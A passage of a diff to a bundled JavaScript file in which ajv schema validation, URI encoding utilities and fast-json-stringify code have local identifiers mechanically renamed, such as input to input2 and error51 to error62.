codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -32611,7 +32611,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -32625,7 +32625,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -33813,27 +33813,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -33881,11 +33881,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -33918,23 +33918,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -33950,79 +33950,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -34032,29 +34032,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -34075,56 +34075,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -34133,143 +34133,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -34279,8 +34279,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -34559,35 +34559,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -34595,13 +34595,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -35250,8 +35250,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -35462,7 +35462,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -35471,7 +35471,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -35692,14 +35692,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -36096,21 +36096,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -37517,9 +37517,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -37799,7 +37799,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -37829,13 +37829,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -38238,11 +38238,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38264,12 +38264,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -38279,7 +38279,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -38289,7 +38289,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38375,13 +38375,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -38503,18 +38503,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -38522,14 +38522,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -38539,7 +38539,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -38547,7 +38547,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -38555,7 +38555,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -38568,52 +38568,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -38695,14 +38695,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -38715,12 +38715,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -38737,9 +38737,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -38766,10 +38766,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else 